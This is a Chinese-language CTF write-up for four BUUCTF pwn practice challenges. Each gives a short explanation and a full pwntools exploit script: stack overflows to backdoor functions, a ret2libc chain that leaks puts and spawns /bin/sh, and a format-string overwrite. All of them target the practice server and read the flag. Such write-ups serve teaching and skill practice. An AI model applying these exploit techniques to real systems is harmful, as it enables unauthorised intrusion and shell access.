PWN-PRACTICE-BUUCTF-2
- pwn1_sctf_2016
- jarvisoj_level0
- ciscn_2019_c_1
- [第五空间2019 决赛]PWN5
pwn1_sctf_2016
main函数中执行vuln函数
fgets限制了输入的长度,不足以构成栈溢出
通过将输入中的字符"I"替换成"you",增加长度,使满足栈溢出
同时可执行文件存在后门函数get_flag
构造payload,覆盖eip到get_flag即可得到flag
from pwn import *
#io=process('./pwn1_sctf_2016')
io=remote('node4.buuoj.cn',25873)
get_flag=0x08048F0D
payload='I'*20+'a'*4+p32(get_flag)
io.sendline(payload)
io.interactive()
jarvisoj_level0
简单的栈溢出,留有后门函数callsystem
构造payload,覆盖rip到callsystem,为了满足系统调用需要的16字节对齐,在系统调用前加一条ret
from pwn import *
#io=process("./level0")
io=remote('node4.buuoj.cn',25195)
callsystem=0x0000000000400596
ret=0x0000000000400431
payload="a"*(128+8)+p64(ret)+p64(callsystem)
io.sendline(payload)
io.interactive()
ciscn_2019_c_1
栈溢出ret2libc,encrypt函数里的异或运算不用管的
from pwn import *
context.log_level="debug"
io=remote('node4.buuoj.cn',28108)
elf=ELF("./ciscn_2019_c_1")
libc=ELF("./libc-2.27-18-x64.so")
io.recvuntil("Input your choice!\n")
io.sendline("1")
io.recvuntil("Input your Plaintext to be encrypted\n")
pop_rdi_ret=0x0000000000400c83
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
encrypt=0x00000000004009A0
ret=0x00000000004006b9
payload="a"*(48+2+30+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(encrypt)
io.sendline(payload)
io.recvuntil("Ciphertext\n")
io.recvuntil("\n")
puts_addr=u64(io.recvuntil("\n",drop=True).ljust(8,"\x00"))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym["puts"]
system=libc_base+libc.sym["system"]
binsh=libc_base+libc.search("/bin/sh").next()
payload_2="a"*(48+2+30+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(encrypt)
io.recvuntil("Input your Plaintext to be encrypted\n")
io.sendline(payload_2)
io.sendline("cat flag")
io.interactive()
[第五空间2019 决赛]PWN5
格式化字符串的洞,覆写dword_804C044处的值,再输入相同的值即可验证成功
测试知道偏移为10,利用pwntools集成的fmtstr_payload来构造payload
或者自己构造payload,因为要覆写的值不必固定,所以构造方式有很多
from pwn import *
io=remote('node4.buuoj.cn',26708)
io.recvuntil("your name:")
payload=fmtstr_payload(10,{0x0804C044:3})
#payload="aaa%12$n"+p32(0x0804C044)
io.sendline(payload)
io.recvuntil("your passwd:")
io.sendline("3")
io.sendline("cat flag")
io.interactive()